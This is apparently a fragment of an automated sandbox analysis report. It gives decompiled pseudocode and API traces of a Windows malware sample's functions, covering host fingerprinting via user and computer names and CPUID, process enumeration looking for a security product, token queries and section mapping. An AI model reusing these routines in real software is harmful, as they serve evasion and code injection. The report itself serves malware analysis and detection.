CloseHandle.KERNEL32(?), ref: 0234E7B2
CloseHandle.KERNEL32(?), ref: 0234E7D8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressCloseHandleProcProcess$ErrorInformationLastOpenTerminateThread
String ID:
API String ID: 3529370251-0
Opcode ID: e3decd42cf6d57e81dbed9bb0bc5380af8ad547b28a1f6b6e47884da90e62ada
Instruction ID: 81414b9210d6213dc91cc1f367a9ee711db00e26b717be48e149cff71070b1fc
Opcode Fuzzy Hash: e3decd42cf6d57e81dbed9bb0bc5380af8ad547b28a1f6b6e47884da90e62ada
Instruction Fuzzy Hash: BE419EB0908345AFD7109F25C888E6ABFFDFF88718F004DA9F69592150DB70EA58CB52

Uniqueness

Uniqueness Score: -1.00%

Function 003854AC, Relevance: 15.1, APIs: 10, Instructions: 98
stringlibrarythreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E003854AC() {
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				char* _t51;
				void* _t52;
				struct HINSTANCE__* _t59;
				void* _t61;

				_push(0x105);
				_push( *((intOrPtr*)(_t61 - 4)));
				_push(_t61 - 0x11d);
				L003812A4();
				GetLocaleInfoA(GetThreadLocale(), 3, _t61 - 0xd, 5); // executed
				_t59 = 0;
				if( *(_t61 - 0x11d) == 0 ||  *(_t61 - 0xd) == 0 &&  *((char*)(_t61 - 0x12)) == 0) {
					L14:
					return _t59;
				} else {
					_t28 = _t61 - 0x11d;
					_push(_t28);
					L003812AC();
					_t51 = _t28 + _t61 - 0x11d;
					L5:
					if( *_t51 != 0x2e && _t51 != _t61 - 0x11d) {
						_t51 = _t51 - 1;
						goto L5;
					}
					_t30 = _t61 - 0x11d;
					if(_t51 != _t30) {
						_t52 = _t51 + 1;
						if( *((char*)(_t61 - 0x12)) != 0) {
							_push(0x105 - _t52 - _t30);
							_push(_t61 - 0x12);
							_push(_t52);
							L003812A4();
							_t59 = LoadLibraryExA(_t61 - 0x11d, 0, 2);
						}
						if(_t59 == 0 &&  *(_t61 - 0xd) != 0) {
							_push(0x105 - _t52 - _t61 - 0x11d);
							_push(_t61 - 0xd);
							_push(_t52);
							L003812A4();
							_t36 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
							_t59 = _t36;
							if(_t59 == 0) {
								 *((char*)(_t61 - 0xb)) = 0;
								_push(0x105 - _t52 - _t61 - 0x11d);
								_push(_t61 - 0xd);
								_push(_t52);
								L003812A4();
								_t42 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
								_t59 = _t42;
							}
						}
					}
					goto L14;
				}
			}

0x003854ac
0x003854b4
0x003854bb
0x003854bc
0x003854cf
0x003854d4
0x003854dd
0x003855c6
0x003855cd
0x003854f3
0x003854f3
0x003854f9
0x003854fa
0x00385507
0x0038550c
0x0038550f
0x0038550b
0x00000000
0x0038550b
0x0038551b
0x00385523
0x00385529
0x0038552e
0x0038553b
0x0038553f
0x00385540
0x00385541
0x00385556
0x00385556
0x0038555a
0x00385573
0x00385577
0x00385578
0x00385579
0x00385589
0x0038558e
0x00385592
0x00385594
0x003855a9
0x003855ad
0x003855ae
0x003855af
0x003855bf
0x003855c4
0x003855c4
0x00385592
0x0038555a
0x00000000
0x00385523

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 003854BC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 003854C9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 003854CF
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 003854FA
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00385541
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00385551
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00385579
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00385589
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 003855AF
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 003855BF

Strings

Software\Borland\Locales, xrefs: 003853D0, 003853EE
Software\Borland\Delphi\Locales, xrefs: 0038540C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 1d747abe29bb42dad6ad9b2eed65babc43e18ddff1af19bd8fd5bd9d7b7e894e
Instruction ID: 93d42274603eb71e2b0cf3ba107b88a432faeeefad555620a544d33b94722ac8
Opcode Fuzzy Hash: 1d747abe29bb42dad6ad9b2eed65babc43e18ddff1af19bd8fd5bd9d7b7e894e
Instruction Fuzzy Hash: 78317171E0075C2AEB27E6B8DC86FEE6BAD9B05340F4545E1A605E6181E674CF888F50

Uniqueness

Uniqueness Score: -1.00%

Function 0047A446, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0047A446(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				int _t43;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x47d270; // 0x82c6b188
					_v12 = _t59;
				}
				_t64 = _t69;
				E004747B0( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x47d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x47d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E0047A090(_v8 + _v8, _t63);
							}
							HeapFree( *0x47d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8); // executed
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x47d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						_t43 = GetComputerNameW(_t68,  &_v8); // executed
						if(_t43 != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E0047A090(_v8 + _v8, _t63);
						}
						HeapFree( *0x47d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0047a446
0x0047a44e
0x0047a454
0x0047a457
0x0047a45a
0x0047a45c
0x0047a461
0x0047a461
0x0047a467
0x0047a469
0x0047a476
0x0047a4d7
0x0047a478
0x0047a47d
0x0047a483
0x0047a488
0x0047a496
0x0047a49a
0x0047a4a9
0x0047a4b0
0x0047a4b7
0x0047a4b7
0x0047a4c2
0x0047a4c2
0x0047a49a
0x0047a488
0x0047a4d9
0x0047a4df
0x0047a4e9
0x0047a4eb
0x0047a4f0
0x0047a4ff
0x0047a503
0x0047a50a
0x0047a50e
0x0047a515
0x0047a51c
0x0047a51c
0x0047a528
0x0047a528
0x0047a503
0x0047a531
0x0047a533
0x0047a536
0x0047a538
0x0047a53b
0x0047a53e
0x0047a548
0x0047a54c
0x0047a550

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 0047A47D
RtlAllocateHeap.NTDLL(00000000,?), ref: 0047A494
GetUserNameW.ADVAPI32(00000000,?), ref: 0047A4A1
HeapFree.KERNEL32(00000000,00000000), ref: 0047A4C2
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0047A4E9
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 0047A4FD
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0047A50A
HeapFree.KERNEL32(00000000,00000000), ref: 0047A528

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 3ed4a655aa7115536193ff45b12d8e694a3a5122c843b26aceff5364a872434e
Instruction ID: 67bae4c22b4357822f319e12f19b489ed6e862a729f2df658245b33e9b150856
Opcode Fuzzy Hash: 3ed4a655aa7115536193ff45b12d8e694a3a5122c843b26aceff5364a872434e
Instruction Fuzzy Hash: 0D313871A00205EFDB10DFA9CC85AAEB7F9BF84304F10847AE509D2221DB74DD519B19

Uniqueness

Uniqueness Score: -1.00%

Function 0235FEA3, Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

StrRChrA.SHLWAPI(049087D0,00000000,0000005C), ref: 0235FEDF
_strupr.NTDLL ref: 0235FEF5
lstrlen.KERNEL32(049087D0), ref: 0235FEFD
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000001,4D283A53,00000000,023670FC,00000000,?), ref: 0235FF78
RtlAddVectoredExceptionHandler.NTDLL(00000000,0234FCB5), ref: 0235FF9F
GetLastError.KERNEL32(?), ref: 0235FFB9
RtlRemoveVectoredExceptionHandler.NTDLL(0027A060), ref: 0235FFCF

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ExceptionHandlerVectored$CreateErrorEventLastRemove_struprlstrlen
String ID:
API String ID: 2251957091-0
Opcode ID: e7a250d39e5afd20161e2ab3c428e9332eebfff91a4e173d0efaaee0527eaa34
Instruction ID: 89633093ece092e6cb6239929551f3c6f762afd96ea41ac5d1a1a8f480785f49
Opcode Fuzzy Hash: e7a250d39e5afd20161e2ab3c428e9332eebfff91a4e173d0efaaee0527eaa34
Instruction Fuzzy Hash: 3B3118B2D442709FD7209B74EC4CD2EF7ACEB06748F458965ED0AD3980DB3058618BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00477507, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00477507(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E004716F8(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E004770FF(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x00477514
0x00477515
0x00477516
0x00477517
0x00477518
0x0047751c
0x00477523
0x00477532
0x00477535
0x00477538
0x0047753f
0x00477542
0x00477545
0x00477548
0x0047754b
0x00477556
0x00477558
0x00477561
0x00477569
0x0047756b
0x0047757d
0x00477587
0x0047758b
0x0047759a
0x0047759e
0x004775a7
0x004775af
0x004775af
0x004775b1
0x004775b1
0x004775b9
0x004775bf
0x004775c3
0x004775c3
0x004775ce

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 0047754E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00477561
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0047757D

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0047759A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 004775A7
NtClose.NTDLL(?), ref: 004775B9
NtClose.NTDLL(00000000), ref: 004775C3

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 48b5860f8bc702877075e92558ff3479e9736c1001c0dce6e7b3e89f80d3a271
Instruction ID: d60d8a5d167177142b10aa8bc4a887269b474928db976fd973dcb2e9e06f6973
Opcode Fuzzy Hash: 48b5860f8bc702877075e92558ff3479e9736c1001c0dce6e7b3e89f80d3a271
Instruction Fuzzy Hash: D2211672900229BBDB019F95CC85EDEBFBDEF08744F50802AF908E6121D7759A849FA4

Uniqueness

Uniqueness Score: -1.00%

Function 0234BE78, Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON

Download Yara Rule

APIs

NtOpenProcess.NTDLL(?,00000400,?,?), ref: 0234BEBF
NtOpenProcessToken.NTDLL(?,00000008,?), ref: 0234BED2
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,?), ref: 0234BEEE

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

NtQueryInformationToken.NTDLL(?,00000001,00000000,?,?), ref: 0234BF0B
memcpy.NTDLL(?,00000000,0000001C), ref: 0234BF18
NtClose.NTDLL(?), ref: 0234BF2A
NtClose.NTDLL(?), ref: 0234BF34

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 1cb5578f22dbc2ef0b2c450ae04bf39cf31a1499b503979ffbc95582f6a50312
Instruction ID: 8ac0303aa2950ffd9e2f7bf18a54c2c20791656a654da543494313b5e8f2fd2b
Opcode Fuzzy Hash: 1cb5578f22dbc2ef0b2c450ae04bf39cf31a1499b503979ffbc95582f6a50312
Instruction Fuzzy Hash: 1E2105B2910228BBDB119FA5CC45ADEBFBEEF08B54F108066F904A6110D7719B549FA0

Uniqueness

Uniqueness Score: -1.00%

Function 004782EB, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004782EB() {
				char _v264;
				void* _v300;
				void* _t5;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t5 = CreateToolhelp32Snapshot(2, 0); // executed
				_t17 = _t5;
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300); // executed
					while(_t8 != 0) {
						_t9 =  *0x47d27c; // 0x374a7d0
						_t2 = _t9 + 0x47ee48; // 0x73617661
						if(StrStrIA( &_v264, _t2) != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300); // executed
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x004782f6
0x004782fb
0x00478300
0x00478304
0x0047830e
0x0047833f
0x00478315
0x0047831a
0x00478330
0x00478347
0x00478332
0x0047833a
0x00000000
0x0047833a
0x00478348
0x00478349
0x00000000
0x00478349
0x00000000
0x00478343
0x0047834f
0x00478354

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004782FB
Process32First.KERNEL32(00000000,?), ref: 0047830E
StrStrIA.SHLWAPI(?,73617661), ref: 00478328
Process32Next.KERNEL32(00000000,?), ref: 0047833A
CloseHandle.KERNEL32(00000000), ref: 00478349

Strings

{IG, xrefs: 004782EB

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: {IG
API String ID: 420147892-1860599516
Opcode ID: 29998849413276184bdfc75bdbbcc9f1c80256a128261df2cc35d3f0781b7bfe
Instruction ID: 8ed8f5b583388d5366693a5741c2be2f78e07e9b72b9f31635780cbf3bad8e22
Opcode Fuzzy Hash: 29998849413276184bdfc75bdbbcc9f1c80256a128261df2cc35d3f0781b7bfe
Instruction Fuzzy Hash: E9F09632541064A7D720A76B9C4DDEB76ACDFC5714F00406BFE0DD2101EE689A4686FD

Uniqueness

Uniqueness Score: -1.00%

Function 0235F0A0, Relevance: 9.1, APIs: 6, Instructions: 94threadmemorynativeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0235F0CB
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 0235F0D8
NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 0235F164
GetModuleHandleA.KERNEL32(00000000), ref: 0235F16F
RtlImageNtHeader.NTDLL(00000000), ref: 0235F178
RtlExitUserThread.NTDLL(00000000), ref: 0235F18D

Part of subcall function 0234BA24: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0235F106,?), ref: 0234BA2C
Part of subcall function 0234BA24: GetVersion.KERNEL32 ref: 0234BA3B
Part of subcall function 0234BA24: GetCurrentProcessId.KERNEL32 ref: 0234BA52
Part of subcall function 0234BA24: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 0234BA6F

Part of subcall function 0234B042: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?), ref: 0234B094
Part of subcall function 0234B042: memcpy.NTDLL(?,?,?,?,?,?), ref: 0234B125
Part of subcall function 0234B042: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 0234B140

Part of subcall function 0234F118: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,0234F081), ref: 0234F13E

Part of subcall function 02355944: GetModuleHandleA.KERNEL32(4E52454B,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 02355965
Part of subcall function 02355944: GetProcAddress.KERNEL32(00000000,6F577349,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235597E
Part of subcall function 02355944: OpenProcess.KERNEL32(00000400,00000000,0235E5D3,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235599B
Part of subcall function 02355944: IsWow64Process.KERNELBASE(00000000,00000000,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 023559AC
Part of subcall function 02355944: CloseHandle.KERNEL32(00000000), ref: 023559BF

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Process$HandleModule$CreateFileOpenThreadTimeVirtual$AddressAllocCloseCurrentEventExitFreeHeaderHeapImageInformationNameProcQuerySystemUserVersionWow64memcpy
String ID:
API String ID: 3059574719-0
Opcode ID: 7356aa9d6f9e0b01928ae5d96df1a1a58bdaab9133987e83730f5cf76e3101c5
Instruction ID: 125b132f7893da895d0e0756c8a2518d093070dc8799144ec3b0643d7f26e349
Opcode Fuzzy Hash: 7356aa9d6f9e0b01928ae5d96df1a1a58bdaab9133987e83730f5cf76e3101c5
Instruction Fuzzy Hash: 0331E471E40124EFCB21EF64DC88E6EB7BCEB41B54F108565E91AE7640D734DA00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003CC8CC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E003CC8CC(void* __eax, intOrPtr* __edx) {
				char _v20;
				char _v28;
				intOrPtr _t17;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t32;
				void* _t39;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t50;
				void* _t51;
				intOrPtr* _t65;
				intOrPtr* _t67;
				void* _t68;

				_t67 = __edx;
				_t50 = __eax;
				_t17 =  *__edx;
				_t68 = _t17 - 0x84;
				if(_t68 > 0) {
					_t19 = _t17 + 0xffffff00 - 9;
					if(_t19 < 0) {
						_t21 = E003C8E40(__eax);
						if(_t21 != 0) {
							L28:
							return _t21;
						}
						L27:
						_t23 = E003C9950(_t50, _t67); // executed
						return _t23;
					}
					if(_t19 + 0xffffff09 - 0xb < 0) {
						_t21 = E003CC838(__eax, _t51, __edx);
						if(_t21 == 0) {
							goto L27;
						}
						if( *((intOrPtr*)(_t67 + 0xc)) != 0) {
							goto L28;
						}
						_t21 = E003CF1BC(_t50);
						if(_t21 == 0) {
							goto L28;
						}
						_push( *((intOrPtr*)(_t67 + 8)));
						_push( *((intOrPtr*)(_t67 + 4)));
						_push( *_t67);
						_t32 = E003CEEB8(_t50);
						_push(_t32);
						L003865BC();
						return _t32;
					}
					goto L27;
				}
				if(_t68 == 0) {
					_t21 = E003C9950(__eax, __edx);
					if( *((intOrPtr*)(__edx + 0xc)) != 0xffffffff) {
						goto L28;
					}
					E00386ABC( *((intOrPtr*)(__edx + 8)), _t51,  &_v20);
					E003C8214(_t50,  &_v28,  &_v20);
					_t21 = E003CC7A4(_t50, 0,  &_v28, 0);
					if(_t21 == 0) {
						goto L28;
					}
					 *((intOrPtr*)(_t67 + 0xc)) = 1;
					return _t21;
				}
				_t39 = _t17 - 7;
				if(_t39 == 0) {
					_t65 = E003B147C(__eax);
					if(_t65 == 0) {
						goto L27;
					}
					_t21 =  *((intOrPtr*)( *_t65 + 0xe8))();
					if(_t21 == 0) {
						goto L28;
					}
					goto L27;
				}
				_t21 = _t39 - 1;
				if(_t21 == 0) {
					if(( *(__eax + 0x54) & 0x00000020) != 0) {
						goto L28;
					}
				} else {
					if(_t21 == 0x17) {
						_t45 = E003CEEB8(__eax);
						if(_t45 == GetCapture() &&  *0x3d9d50 != 0) {
							_t47 =  *0x3d9d50; // 0x0
							if(_t50 ==  *((intOrPtr*)(_t47 + 0x30))) {
								_t48 =  *0x3d9d50; // 0x0
								E003C9884(_t48, 0, 0x1f, 0);
							}
						}
					}
				}
			}

0x003cc8d2
0x003cc8d4
0x003cc8d6
0x003cc8d8
0x003cc8dd
0x003cc8fc
0x003cc8ff
0x003cc9dc
0x003cc9e3
0x003cca2e
0x003cca2e
0x003cca2e
0x003cca1f
0x003cca23
0x00000000
0x003cca23
0x003cc90d
0x003cc9a6
0x003cc9ad
0x00000000
0x00000000
0x003cc9b3
0x00000000
0x00000000
0x003cc9b7
0x003cc9be
0x00000000
0x00000000
0x003cc9c3
0x003cc9c7
0x003cc9ca
0x003cc9cd
0x003cc9d2
0x003cc9d3
0x00000000
0x003cc9d3
0x00000000
0x003cc913
0x003cc8df
0x003cc955
0x003cc95e
0x00000000
0x00000000
0x003cc96d
0x003cc97c
0x003cc989
0x003cc990
0x00000000
0x00000000
0x003cc996
0x00000000
0x003cc996
0x003cc8e1
0x003cc8e4
0x003cc91f
0x003cc923
0x00000000
0x00000000
0x003cc92f
0x003cc937
0x00000000
0x00000000
0x00000000
0x003cc93d
0x003cc8e6
0x003cc8e7
0x003cc946
0x00000000
0x00000000
0x003cc8e9
0x003cc8ec
0x003cc9e9
0x003cc9f7
0x003cca02
0x003cca0a
0x003cca15
0x003cca1a
0x003cca1a
0x003cca0a
0x003cc9f7
0x003cc8ec

APIs

GetCapture.USER32 ref: 003CC9F0

Strings

, xrefs: 003CC942

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Capture
String ID:
API String ID: 1145282425-3916222277
Opcode ID: db745ebf288dd26e47d8f890f2d0d8e383a786a2b828308b8c739b15285b6ebe
Instruction ID: c67b26b4ccfe4fad33c35bc6d8e71f4f1693bf02ca9c6cecea470c36e94317e8
Opcode Fuzzy Hash: db745ebf288dd26e47d8f890f2d0d8e383a786a2b828308b8c739b15285b6ebe
Instruction Fuzzy Hash: 7131E2363203448BCB26EA3CCC49F5A23C69B49360F16B92EF45EDB692DB35DC048741

Uniqueness

Uniqueness Score: -1.00%

Function 004314E8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004314E8(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E0043183B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x004314f1
0x004314f8
0x004314f9
0x004314fa
0x004314fb
0x004314fc
0x0043150d
0x00431511
0x00431525
0x00431528
0x0043152b
0x00431532
0x00431535
0x0043153c
0x0043153f
0x00431542
0x00431545
0x0043154a
0x00431585
0x0043154c
0x0043154f
0x00431555
0x0043155a
0x0043155e
0x0043157c
0x00431560
0x00431567
0x00431575
0x00431575
0x0043155e
0x0043158d

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000), ref: 00431545

Part of subcall function 0043183B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,?,?,00000002,00000000,?,?,00000000), ref: 00431868

memset.NTDLL ref: 00431567

Strings

@, xrefs: 00431535

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: efff15d90688c01bb992f58e57ed5d8284d442e7059bc5e9d576db37d726a1b0
